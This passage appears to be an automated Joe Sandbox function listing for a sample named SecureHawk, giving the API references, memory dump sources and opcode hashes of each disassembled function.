Instruction Fuzzy Hash: 45D0177A144305BBCB571BE5AC0DF6A7B7CDBC5B23F204459FA09861A09AB084085764

Function 002F5E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 0032E164

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: b2c2787b67626a2a6896d60396360685e4331602a451c9e5751ee486e84bb252
Instruction ID: eb7d697b8ea15a3dacd4ce882e15a06d4a6dfcda07a2bc320c0e88d8879812b9
Opcode Fuzzy Hash: b2c2787b67626a2a6896d60396360685e4331602a451c9e5751ee486e84bb252
Instruction Fuzzy Hash: BA3276705283159FC729DF14C495A6AFBE1FF84344F14896DEA8A8B362C771EC91CB82

Function 0036DF01 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 0036DFD4

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

_wcscpy.LIBCMT ref: 0036E063

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: 2163bd9f6c30bddef7d5bf999164b9b87b5db272cdabc497b03fd943410c4319
Instruction ID: 4c6722eb58655fc3267e045f57c6a25b4088169ac8c11c6ff1fe91da55b69f8e
Opcode Fuzzy Hash: 2163bd9f6c30bddef7d5bf999164b9b87b5db272cdabc497b03fd943410c4319
Instruction Fuzzy Hash: 78915A38A00508DFCB19DF18C5819AABBF5EF4A314B55C069E80A8F766DB30ED55DF81

Function 00305F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00305FEF

Part of subcall function 003134CE: __lock.LIBCMT ref: 003134D4
Part of subcall function 003134CE: DecodePointer.KERNEL32(00000001,?,00306004,00348675), ref: 003134E0
Part of subcall function 003134CE: EncodePointer.KERNEL32(?,?,00306004,00348675), ref: 003134EB

Part of subcall function 00305F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00305F18
Part of subcall function 00305F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00305F2D

Part of subcall function 00305240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0030526C
Part of subcall function 00305240: IsDebuggerPresent.KERNEL32 ref: 0030527E
Part of subcall function 00305240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 003052E6
Part of subcall function 00305240: SetCurrentDirectoryW.KERNEL32(?), ref: 00305366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 0030602F

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 9ccca9a3d4480344197d8b5179a1f48e2f25c2c5216d1696dc98ad8bd5e0dcbe
Instruction ID: f31d5f3d64ae8277377de0047ce48a10a741d8a80791bc841ca13e2a93d9c962
Opcode Fuzzy Hash: 9ccca9a3d4480344197d8b5179a1f48e2f25c2c5216d1696dc98ad8bd5e0dcbe
Instruction Fuzzy Hash: CD11A1719183019BC302EF65EC4695ABBFCEF84354F004A1EF2448B2A2DB749954CF91

Function 0031574D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0031577C
__lock_file.LIBCMT ref: 0031579D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 3dbd58b371b4b0421e1c21c9675c7cefff6c16f98bede310cfd06a15a664aaeb
Instruction ID: 858544fe7864a030a890de9acccf08ab6cfc15fca9e5027b7f056c3e34c88d61
Opcode Fuzzy Hash: 3dbd58b371b4b0421e1c21c9675c7cefff6c16f98bede310cfd06a15a664aaeb
Instruction Fuzzy Hash: B2018431800608EBCF1BAF649C024DF7B62BF89320F154215F8245E191D7718AE2DBA1

Function 003154F6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00318C88: __getptd_noexit.LIBCMT ref: 00318C88

__lock_file.LIBCMT ref: 0031553B

Part of subcall function 00316D6E: __lock.LIBCMT ref: 00316D91

__fclose_nolock.LIBCMT ref: 00315546

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 50e0d8a6e485ae09f14795d734519e44cd81a4c73c93497a4d4d8153edb1d51f
Instruction ID: 7f0599cfd4edd4d7bdebc2c1430249067470904e3a6bf2332063f4ce134d0456
Opcode Fuzzy Hash: 50e0d8a6e485ae09f14795d734519e44cd81a4c73c93497a4d4d8153edb1d51f
Instruction Fuzzy Hash: 1AF09631901B04DBD71BAB6598027DE67A26F8E334F158205F455AF1C1CF7C49C15B55

Function 002FE36D Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 002FE385
Sleep.KERNEL32(00000000), ref: 002FE3BE

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: 3d69b6a48647558b33d74f5d365038a88c1fee63e368d89213c36afdc6794b6f
Instruction ID: 11aaef4e13c7a2703fae695fa4bb4dba4fa7de4f7a7831616d0b3f93f9f1cff0
Opcode Fuzzy Hash: 3d69b6a48647558b33d74f5d365038a88c1fee63e368d89213c36afdc6794b6f
Instruction Fuzzy Hash: 5EF05E3025061A9FD394AB68D459B76F7E8AF483A0F010079E62AC7361DF60A814CB91

Function 00356E47 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000014,00000FA0,00000001,00000000,?,00356F77,00000000,00000000,00332E79), ref: 00356E6C
InterlockedExchange.KERNEL32(00000034,00000000), ref: 00356E8E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CountCriticalExchangeInitializeInterlockedSectionSpin
String ID:
API String ID: 4104817828-0
Opcode ID: d01ff17fe7f343905206e953b3bbbe40003fb08288b0485b501de685a07c35dd
Instruction ID: 1e8f90d03c6b3c2fea38d3f41867a909667e41ca7d071002338d6eb829e8f579
Opcode Fuzzy Hash: d01ff17fe7f343905206e953b3bbbe40003fb08288b0485b501de685a07c35dd
Instruction Fuzzy Hash: 2EF034B11007059FC3219F16D9488A7FBECEF84710B00882EE88A87A10CBB4A405CB61

Function 00315DB0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00315DE4
__ftell_nolock.LIBCMT ref: 00315DEF

Part of subcall function 00318C88: __getptd_noexit.LIBCMT ref: 00318C88

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 4d491d20be7843300aa70e8b77e9384f4b97ce2c62072cd4d4638f5196b3bcb0
Instruction ID: 553cb9091f9cf682d5cb5654fedcc2b8e34f12aaa000ddb9ecc4ecf746435382
Opcode Fuzzy Hash: 4d491d20be7843300aa70e8b77e9384f4b97ce2c62072cd4d4638f5196b3bcb0
Instruction Fuzzy Hash: 25F03731951605DBD71BBB7558437EEB6A0AF49331F154205F010AF1C1CF784AC256A9

Function 00305AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00305AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 00305B1F

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 7b87ed923780ad75a5eb183b28e42488b4f4442d8a1a67e05dd264a144ce0839
Instruction ID: 1885c60752bf481e31b9057ee0e7d52733091239568d1167f3cd3cfb3d8fff7c
Opcode Fuzzy Hash: 7b87ed923780ad75a5eb183b28e42488b4f4442d8a1a67e05dd264a144ce0839
Instruction Fuzzy Hash: D0F0A7709043089FE7A38B64DC467D677BC9B0030CF0002E9AB089A296D7790B88CF91

Function 0036C11D Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: d3ebddd4c4e8467445f24f554f352173c590e2a9bdb67e1fc54e0090955f1af0
Instruction ID: afca1667a2a0ef3186e7d42d6d4fb7c868e9cc73fa49efb65718d55ac5fb2e03
Opcode Fuzzy Hash: d3ebddd4c4e8467445f24f554f352173c590e2a9bdb67e1fc54e0090955f1af0
Instruction Fuzzy Hash: 44B16A34A1010AEFCB16EF98D891DFEB7B5FF48310F24801AF955AB291DB31A955CB90

Function 0030343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0030351A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 5d4da83587e5007c110fe60792eae86927f1ffedeb55535a96607352e3b175cc
Instruction ID: fbeb3cf7b54a745877e08b859dc0dd3338266a3c83a01103c9483a984a978b53
Opcode Fuzzy Hash: 5d4da83587e5007c110fe60792eae86927f1ffedeb55535a96607352e3b175cc
Instruction Fuzzy Hash: 5731F475605602DFC72ADF19D4A0A61F7A8FF09310715C56AE88ACF7A1D730EC82CB84

Function 0032E20F Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0032E21A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 061fd9ceaf78c0e5868c95162b980bba1416047b22cd48ed2126554f9a18d3a6
Instruction ID: ce2cfc439d688dc365bbf0e8dee1abaeff0133a23594a7b25ab06e1ae86aa7e9
Opcode Fuzzy Hash: 061fd9ceaf78c0e5868c95162b980bba1416047b22cd48ed2126554f9a18d3a6
Instruction Fuzzy Hash: BD4125745083159FDB25DF14C488B2ABBE1BF44348F0988ACE98A4B362C371EC95CB92

Function 003049C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00304B29: FreeLibrary.KERNEL32(00000000,?), ref: 00304B63

Part of subcall function 003153AB: __wfsopen.LIBCMT ref: 003153B6

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,003027AF,?,00000001), ref: 003049F4

Part of subcall function 00304ADE: FreeLibrary.KERNEL32(00000000), ref: 00304B18

Part of subcall function 003048B0: _memmove.LIBCMT ref: 003048FA

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 4b3019f413bd79972cd9da86a9cd975e404592b9680f3f7c8ffd050934f4561e
Instruction ID: 3c092ab74b8686a12be70b0cf7282a61e199c7561c46c2bbf81ee512ac18ab20
Opcode Fuzzy Hash: 4b3019f413bd79972cd9da86a9cd975e404592b9680f3f7c8ffd050934f4561e
Instruction Fuzzy Hash: EC110172751205ABCB16BB748D22FAE73A89F40701F10882DF642AE1C1EA719B14A794

Function 0032E2F2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0032E2FE

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: b07e295d6e17349cf2d0e5bd2eb456ffc771a534c7ce324b8dcfbec6f8c65160
Instruction ID: a58d9ddd04b283c0115764a59d7135b6867e1e04be87dd60d67a7bad02030823
Opcode Fuzzy Hash: b07e295d6e17349cf2d0e5bd2eb456ffc771a534c7ce324b8dcfbec6f8c65160
Instruction Fuzzy Hash: C1215774518315DFCB19DF14C455B6ABBE0BF88344F05496CF98A4B322C331E859CB92

Function 00301A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00301A77

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 6778dc3fdde9cfdb527c97005aa679221d1e380f203fcd52dcdb994629c8b2d6
Instruction ID: a777bfadb4bfbc0e10c4d40df7cf7292ecccd4e46e9311b31966825a5242c2e9
Opcode Fuzzy Hash: 6778dc3fdde9cfdb527c97005aa679221d1e380f203fcd52dcdb994629c8b2d6
Instruction Fuzzy Hash: 8601FE733017016ED3295F38DC02B6777A8DB48790F50852DF51ACE1D1DB71E4908760

Function 0036473F Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 0036477C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: 730419188f3e42dcad30c47f8ca8add3b78facd2c963d9a6b77fe59b8245a7b7
Instruction ID: 0a0bed2e94b845643a95b477a8020d54280458697eb1ef8871719a05055c1b23
Opcode Fuzzy Hash: 730419188f3e42dcad30c47f8ca8add3b78facd2c963d9a6b77fe59b8245a7b7
Instruction Fuzzy Hash: 98F03135608208AFDB19FB65D84ACAF77B8EF49320B004156F9049B261DFB1A991C7A1

Function 00304A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00304AA4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: 0a4098fbca966de150df0e901f011b960a22b5df12848eeca8f12985b6aae40b
Instruction ID: fb7b2b98e610be64859fd9b856b62496e4d8079ae73e1fac3de7cfb23df209bf
Opcode Fuzzy Hash: 0a4098fbca966de150df0e901f011b960a22b5df12848eeca8f12985b6aae40b
Instruction Fuzzy Hash: 5AF085B6500208FFCF168F84DC00CEBBBBDEB89320F004098FA045A210D332EA21CBA1

Function 00304A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,003027AF,?,00000001), ref: 00304A63

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: a0f31636e1e10a51e1bb0770fc8f4df368cfa3abf48e93348b25437addc70cf0
Instruction ID: 73dd236d7e2841eff4df6373386e08dc38b4543e8a466abfe758a61f16dd78c0
Opcode Fuzzy Hash: a0f31636e1e10a51e1bb0770fc8f4df368cfa3abf48e93348b25437addc70cf0
Instruction Fuzzy Hash: 46F030B1246701CFCB369F64E4A4816BBF4BF94325311897EE6D783A50C7319A84DF44

Function 00304AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00304AD0

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: c46de0973e4316ba83ebc5d8e55475f12f35eb36bfefe38a98de0559b640b685
Instruction ID: 0b34ef14b445fb9cf5a4f9da4344ba6abb534a221fc8f23685334958d3f2d283
Opcode Fuzzy Hash: c46de0973e4316ba83ebc5d8e55475f12f35eb36bfefe38a98de0559b640b685
Instruction Fuzzy Hash: 6DF0F87250420DFFDF05DF90C941EAABBB9FB18314F208589F9158A251D336EA61EB91

Function 003108F0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 0031090F

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
